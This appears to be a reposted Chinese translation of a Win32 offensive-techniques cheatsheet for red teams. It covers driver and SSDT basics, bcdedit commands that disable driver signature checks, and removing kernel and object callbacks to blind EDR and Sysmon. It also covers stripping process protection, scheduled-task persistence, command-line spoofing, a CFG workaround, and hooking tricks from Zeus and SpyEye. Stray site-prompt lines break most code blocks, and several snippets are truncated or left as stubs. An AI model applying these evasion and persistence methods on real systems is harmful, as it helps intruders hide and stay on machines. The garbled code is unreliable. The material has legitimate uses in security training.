> 一些扫描器如 [TickTock](https://github.com/WithSecureLabs/TickTock) 或 [Patriot](https://github.com/joe-desimone/patriot) 已被发布用于检测这种技术,但你可以通过在 NTDLL 中使用 gadget 构建一个跳板(trampoline)到 `NtContinue`,并替换 ROP 链中的 `Rip` 寄存器来规避它们。

<br>

# 驱动程序编程基础

## 基本概念

驱动程序用于在内核模式下执行代码,而不是在用户模式下。这是一种强大的技术,可以绕过 AV/EDR 设置的所有用户模式钩子和监控。它还可以用于绕过内核回调和其它内核监控。

任何驱动程序代码都必须经过验证(任何警告都应视为错误),以确保其不会崩溃(你不想在渗透测试期间导致 BSOD,对吧?)。

几年前,微软决定禁止未签名的驱动程序在其操作系统上运行:你必须先禁用它才能加载自己的驱动程序,或者利用任何漏洞(如 https://github.com/hmnthabit/CVE-2018-19320-LPE)来禁用驱动程序签名。

在实际渗透测试中,你必须找到易受攻击的驱动程序并加以利用:)

## 系统服务调度表(SSDT)

SSDT,即系统服务调度表,是一张(显而易见的)表,可以通过其当前索引解析相应的 Nt 函数。当任何用户模式调用发生时,按如下方式解析:
- ```OpenProcess```(调用 Win32 API 函数)
- ```NtOpenProcess```(在 ntdll.dll 中解析)```asm
mov r10, rcx
mov eax, 26 
syscall
ret

ntdll 包含每个 Nt 函数的系统调用过程

  • 26 是 服务系统编号:它是 SSDT 中的一个索引,用于解析内核 NtOpenProcess 函数的地址。
  • 调用内核模式的 NtOpenProcess,并作为驱动程序的一部分与 I/O 通信。

SSDT 在 服务描述符表 中定义:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;

root@kitploit:~
SSDT 经常被 rootkit 挂钩,因为可以将其对应地址修改为它们自己的函数。**Patchguard** 已禁用这种可能性,除非存在某些内部漏洞。

> 如今许多杀毒软件产品也在使用这一技巧,可能使用的技术与恶意黑客相同;)

## 驱动程序入口

驱动程序入口过程定义如下:```cpp
#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
	return STATUS_SUCCESS;
}

在 DriverObject 和 RegistryPath 参数上使用 UNREFERENCED_PARAMETER() 宏非常重要,除非稍后通过添加一些代码来引用它们。```cpp UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

root@kitploit:~
## 输入输出

使用 MajorFunction `IRP_MJ_CREATE` 和 `IRP_MJ_CLOSE` 作为“中断”,从客户端与你的驱动程序进行通信。```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

然后定义你的 CreateClose 函数 :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);

root@kitploit:~
DbgPrint("[+] Hello from FirstDriver CreateClose\n");

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;

}

root@kitploit:~
Complete sample code here : //

## 与驱动程序通信

用户模式应用程序通过调用 DeviceIoControl 向驱动程序发送 IOCTL,这在 Microsoft Windows SDK 文档中已有描述。调用 DeviceIoControl 会使 I/O 管理器创建一个 IRP_MJ_DEVICE_CONTROL 请求,并将其发送到最顶层的驱动程序(https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

用户态应用程序必须使用 DeviceIoControl(ioapiset.h)函数来与驱动程序通信。
它将用于向其 **Device** 对象发送各种请求。

简单示例代码此处://todo

## 驱动程序签名

如 [General concepts](#general-concepts) 部分所述,驱动程序在安装到 Windows 系统之前必须先签名。尽管你必须使用某个驱动程序或内核漏洞来绕过它(例如 Gigabyte 驱动程序 CVE),你仍然可以手动禁用它:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

然后重启您的计算机。显然,您需要在要执行这些命令的机器上拥有本地管理员权限。由于需要重启,这完全不是 OPSEC。

自定义回调

ObRegisterCallbacks (wdm.h) 允许您定义“自定义”回调,这些回调可用于在特定操作(如 CreateProcess/OpenProcess(句柄创建))触发时修改用户态应用程序的行为。

基本上,Ob 回调通过 OB_OPERATION_REGISTRATION 数组定义,该数组将被填充 OB_CALLBACK_REGISTRATION 结构体(其中填充了回调)。

用于在 OpenProcess/CreateProcess 上触发的示例:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {

root@kitploit:~
	DbgPrint("[+] Registering callbacks !\n");
}
root@kitploit:~
**process_ob_pre_op_callbacks** 是一个用户定义函数,当回调被拦截时会被调用,因此可以拒绝或允许该操作。```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}

注意:My_PROCESS_ALL_ACCESS 可以定义为 #define My_PROCESS_ALL_ACCESS (0x1FFFFF)(win32 十六进制代码)。

如何修补 ObCallbacks: 有多种方式可以修补它们,但可能实现此目标的两种最常见方法是编写一个具有类似 "nop-nop-nop-ret" 模式的 obcallback 函数,或者从 _CALLBACK_ENTRY_ITEM 项中擦除 obcallback 函数指针。请注意,这些技术实际上可能触发 PatchGuard,因此在实际交战中请务必注意。

攻击性驱动程序编程

修补内核回调

内核回调(Kernel Callbacks)由微软引入,主要是为了给 AV/EDR 厂商提供一种更好的监控和阻止可疑操作的方式(在此之前,许多安全产品使用内核模式修补(如 SSDT 挂钩)来完成同样的工作,但新的 PatchGuard 保护迫使它们采用这种新方案)。

内核回调有几种类型,尤其是:

root@kitploit:~
- ProcessNotify:在进程创建或退出时调用。
- ThreadNotify:在线程创建或退出(被删除)时调用。
- LoadImageNotify:当某个可执行映像被其他可执行文件加载时调用(例如:进程加载 DLL)。

每个类型都有其关联的函数,例如 PsSetCreateProcessNotifyRoutineEx 用于在驱动程序中设置它们。后者会在 Windows 系统中创建或删除新进程时注册一个回调例程。其原型定义如下:```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );

root@kitploit:~
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** 是一个指向回调例程的指针,当事件被触发时(此处为进程创建/退出),该回调例程将被调用。
**Remove** 是一个简单的标志,用于指示 PsSetCreateProcessNotify 将注册该回调函数还是删除它(在驱动程序的清理函数中很有用)。

回调函数将使用以下原型 :```cpp
void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
);

其中 Process 是当前正在创建/删除的进程,ProcessId 是该进程的 ID,而 CreateInfo 是一个包含有关该进程的各种信息的结构。

当驱动程序注册新的回调例程时,其地址将存储在一个通常名为 Pspname_of_your_callback 的数组中。例如,所有 ProcessNotifyRoutine 函数的列表存储在 PspCreateProcessNotifyRoutine 数组中。

要移除这些回调,你只需要清空这个数组!

不幸的是,这个令人兴奋的数组的地址并没有任何直接的获取方式。幸运的是,有很多方法可以手动做到这一点,例如通过搜索内存中的特定偏移量。

一旦你找到正确的地址,就可以枚举所有已注册的回调,并按驱动程序名称过滤它们 (Sysmon 驱动也许 ?:)),然后只移除列表中对应的回调函数。

修补受保护的进程

受保护进程(Protected Processes)自 Windows Vista 起引入。它可以定义为一个名为 EPROCESS 的结构体(未定义:https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess),该结构体通过三个有趣的成员来定义进程是否受保护:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION

root@kitploit:~
The third member (Protection) is a PS_PROTECTION struct which is defined as below :```
_PS_PROTECTION
  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

要移除 PPL 保护,你必须将 SignatureLevel、SectionSignatureLevel 和 Protection 设置为 0。

由于 EPROCESS 基址与 PS_PROTECTION 之间的偏移量为 0x6c8,你可以通过将这两个值相加来获得它。

示例代码: //todo

使用 Win32 API 提高 OPSEC

持久化

计划任务

注意:本部分中的几个示例取自:https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

在 Windows 操作系统中,“常规”的计划任务创建方式需要通过图形界面(任务计划程序)完成。这对我们来说并不实用,因为我们通常只能获得被攻陷系统的命令行会话。

幸运的是,我们可以使用 Win32 API 来创建此类任务,从而为你的 beacon 实现出色的持久化,或用于提权。

基本上,你需要初始化 COM 库,然后使用 CoCreateInstance() API 创建 ITaskService 类的新实例。接下来,你可以修改 ITaskService 对象,以设置根文件夹、操作、时间等更多内容。下面是一个示例:```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/

#define _WIN32_DCOM

#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }

root@kitploit:~
//  Set general COM security levels.
hr = CoInitializeSecurity(
    NULL,
    -1,
    NULL,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,
    0,
    NULL);

if( FAILED(hr) )
{
    printf("\nCoInitializeSecurity failed: %x", hr );
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";

//  Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


//  ------------------------------------------------------
//  Create an instance of the Task Service. 
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
                       NULL,
                       CLSCTX_INPROC_SERVER,
                       IID_ITaskService,
                       (void**)&pService );  
if (FAILED(hr))
{
      printf("Failed to create an instance of ITaskService: %x", hr);
      CoUninitialize();
      return 1;
}
    
//  Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
    _variant_t(), _variant_t());
if( FAILED(hr) )
{
    printf("ITaskService::Connect failed: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Get the pointer to the root task folder.  
//  This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
    printf("Cannot get Root Folder pointer: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

//  Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );

pService->Release();  // COM clean up.  Pointer is no longer used.
if (FAILED(hr))
{
      printf("Failed to create a task definition: %x", hr);
      pRootFolder->Release();
      CoUninitialize();
      return 1;
}

    
//  ------------------------------------------------------
//  Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
    printf("\nCannot get identification pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
    printf("\nCannot put identification info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
    printf("\nCannot get settings pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set setting values for the task. 
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
    printf("\nCannot put setting info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
   

//  ------------------------------------------------------
//  Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
    printf("\nCannot get trigger collection: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
pTriggerCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface( 
    IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
   printf("\nCannot put the trigger ID: %x", hr);

//  Set the task to start at a certain time. The time 
//  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
//  For example, the start boundary below
//  is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
   printf("\nCannot put the start boundary: %x", hr);

hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
   printf("\nCannot put the end boundary: %x", hr);

// Delay the task to start 30 seconds after system start. 
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
    printf("\nCannot put delay for boot trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
} 
   

//  ------------------------------------------------------
//  Add an Action to the task. This task will execute Notepad.exe.     
IActionCollection *pActionCollection = NULL;

//  Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
    printf("\nCannot get Task collection pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
    
//  Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the action: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IExecAction *pExecAction = NULL;
//  QI for the executable task pointer.
hr = pAction->QueryInterface( 
    IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IExecAction: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
pExecAction->Release(); 
if( FAILED(hr) )
{
    printf("\nCannot set path of executable: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
  

//  ------------------------------------------------------
//  Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t( wszTaskName ),
        pTask,
        TASK_CREATE_OR_UPDATE, 
        _variant_t(L"Local Service"), 
        varPassword, 
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegisteredTask);
if( FAILED(hr) )
{
    printf("\nError saving the Task : %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

printf("\n Success! Task successfully registered. " );

//  Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;

}

root@kitploit:~
## 命令行欺骗

即使有 sysmon/process hacker 监控也能完美运行;它能够隐藏你的命令行参数,这在渗透测试/红队行动中非常有用(```powershell -enc .....```)

要实现这一目标,你可以以挂起模式(suspended mode)生成一个带有“合法”命令行参数的新进程,然后直接在 PEB 中编辑这些参数。

Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
 
# 其他内容

## x64 调用约定

- 前 4 个整数参数通过寄存器 `RCX`、`RDX`、`R8` 和 `R9` 传递。
- 其余参数被压入栈中。
- 返回地址之后是一个为 `RCX`、`RDX`、`R8` 和 `R9` 保留的 32 字节区域。
- 局部变量和非易失寄存器存储在返回地址上方。
- `RBP` 不用于引用局部变量/函数参数,`RSP` 在函数执行期间保持不变。

> 注意:
> - 如果函数具有可变数量的参数,则必须使用栈来传递它们
> - 如果返回值是一个结构体,则由调用方负责为返回值分配空间,并将指向该空间的指针作为第一个参数传递
> - 被调用方负责保存 `RBX`、`RBP` 和 `R12`–`R15` 寄存器的值,但可以自由修改其他寄存器
> - 在调用点,栈按 16 字节边界对齐
> - 被调用方负责在返回之前将栈指针 (`RSP`) 恢复到其原始值

## 间接执行

这里的间接执行指的是通过 ROP 来实现某些任务的执行,你需要将参数添加到正确的寄存器中,为此你必须理解 [x64 调用约定](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention)。

- 使用 `CONTEXT` 结构的 ROP 需要 `RtlCaptureContext` 来获取当前上下文,并使用 `NtContinue` 来继续执行 ROP,其中 `CONTEXT` 结构作为参数填充,将正确的函数参数放入正确的寄存器。如果你愿意,你也可以用汇编构建自己的 ROP。

### 使用 SetProcessValidCallTargets 绕过 CFG

这并非真正的绕过,而是会将你在 ROP 中使用的函数(即 `NtContinue`)加入白名单。```c
CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags  = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

恶意软件/高级技术

Emotet PPID 欺骗

该技术已在知名恶意软件 Emotet 中被发现。为了生成一个新的 powershell 进程(旨在执行某些载荷),它借助 WMI 实例使用 COM API。通过这一技巧,powershell 进程会作为 WMIPrvSE 进程的子进程被生成,这比由可疑的 exe 甚至 Word 文件生成进程要隐蔽得多。

Zeus 恶意软件隐藏文件

知名 Zeus 恶意软件使用了一种相当巧妙的手法,在受感染系统中隐藏其日志(键盘记录、密码等)。它挂钩 NtQueryDirectoryFile() 函数来过滤显示的结果。```cpp typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

if (file_matches) {

// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;

root@kitploit:~
来源 : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf


## SpyEye 键盘记录器挂钩技术

SpyEye 恶意软件挂钩 ```TranslateMessage()``` 函数以保存按键记录:该挂钩过程使用 ```GetKeyboardState``` 函数将键入的字符添加到 20000 字节的缓冲区中。

来源 : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

## Wannacry 失效开关(KillSwitch)

Wannacry 勒索软件使用了一个失效开关(killswitch)URL,该 URL 在主载荷执行之前被解析。在这个域名被注册后,所有 Wannacry 样本都被禁用了。该技术在此处有相关介绍:https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
有趣的是:这个域名是明文字符串,没有任何混淆。挺有意思的:)
下载工具